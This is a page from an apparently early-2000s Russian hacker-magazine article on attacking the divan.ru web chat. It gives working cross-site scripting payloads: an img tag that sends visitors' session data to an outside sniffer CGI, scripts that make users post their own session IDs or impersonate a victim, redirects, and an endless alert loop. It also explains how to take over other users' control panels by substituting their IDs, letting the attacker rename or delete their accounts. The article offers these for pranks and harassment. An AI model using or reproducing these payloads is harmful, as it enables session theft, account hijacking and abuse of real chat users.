Выносим диван - приносим бабки!

Xakep, номер #022, стр. 022-056-2


Диван у Омена - dn=DhbmsNlem

Наш ид - 1693783577

Ид генерится при входе в диван (каждый раз новый). Это несколько усложняет дело, но мы, как всегда, что-нибудь придумаем - башня-то для чего хаксору? ;)

Итак, ид прописали, диван обозначили, теперь в поле ввода ставим какую-нибудь точку, а в "поле взлома" (которое мы из select'a переделали) пишем

00ff00"><br><br><img src=http://сервер-какой-нить.ру/цги-бин/cниффер.цги> "

Надеюсь, что такое сниффер, понятно? ;) (Если непонятно - бери Х #9 00 и читай статью "Все о снифферах", а также другую статью про взлом www-chat`ов в Х #9 99)

Развлечения и контроль над юзерами

Таким образом мы получаем IP всех посетителей, а также строки вида

http://www.divan.ru/fcgi/divan?dn=DhbmsNlem&u=1693783577&a=g&pt=t#end, где видим ид юзеров. Да, идэшники-то видим, а как узнать, кто есть ху? Об этом чуть позже, а пока расскажу, что делать с идэшниками.

Правый фрейм "Панель управления" имеет адрес http://www.divan.ru/fcgi/advanced.cgi?u=1693783577.

Усекли? Открываем новое окно браузера, подставляем ид любого юзера и... (!!!) Попадаем в "Панель управления" вышеназванного субъекта. А это - приваты, настройки... короче, полный root. Самое интересное - это "Изменить инфу о себе". Заходим, меняем кексу ник, вешаем ему "крутую" инфу или вообще жмем кнопку DELETE, если совсем достал =).

Теперь разберемся, ху есть кто. Можно запускать сниффер и путем научного перебора искать соответствия ников и идэшников, но ЕСТЬ СПОСОБ ЛУЧШЕ! Итак, в "поле взлома" вначале пишем 001100">, а в конце кавычку " (это обязательно). А вот между этими фишками пишем следующее:

<script>if(top.frames[2].document.forms[0].u.value!="наш ид"){

top.frames[2].document.forms[0].text.value=top.frames[2].document.forms[0].u.value;

top.frames[2].document.forms[0].submit();} </script> Поясняю, полю ввода приравнивается значение поля с идэшником, и форма отправляется (без участия юзера!!!). Теперь все юзеры послушно пишут прямо в чат свои ид (кроме нас, конечно). ;) Ну а остальное - дело техники.

Теперь несколько приколов.

***далее я буду писать чистые скрипты без дополнений 001100"> и т.п.***

Берем ид какого-нить юзверя и пишем:

<script>if(top.frames[2].document.forms[0].u.value!="наш ид"){ top.frames[2].document.forms[0].u.value="ид несчастного"}</script>

Ы! Теперь весь диван пишет от имени жертвы! Вот смеху-то! Прямо коммунизм какой-то - все равны как на подбор. ;))

<script>top.frames[2].document.forms[0].text.value="Давайте будем повеселее!"</script> Ну, тут понятно.

<script>top.frames[2].document.forms[0].dn.value="ID какого-нибудь дивана"</script> Все пишут на другой диван)

В общем, тут можно творить все, до чего может довести больная фантазия. Если поганое настроение - можно всех удалить или сделать такое:

<script>top.document.location="http://www.microSUX.com"</script> все идут к Билли

<script>for(;;){alert("Все уроды!")}</script> "Бесконечное кликанье")

ну и т.д. и т.п.)

Способы практического применения багов

Назад на стр. 022-056-1  Содержание  Вперед на стр. 022-056-3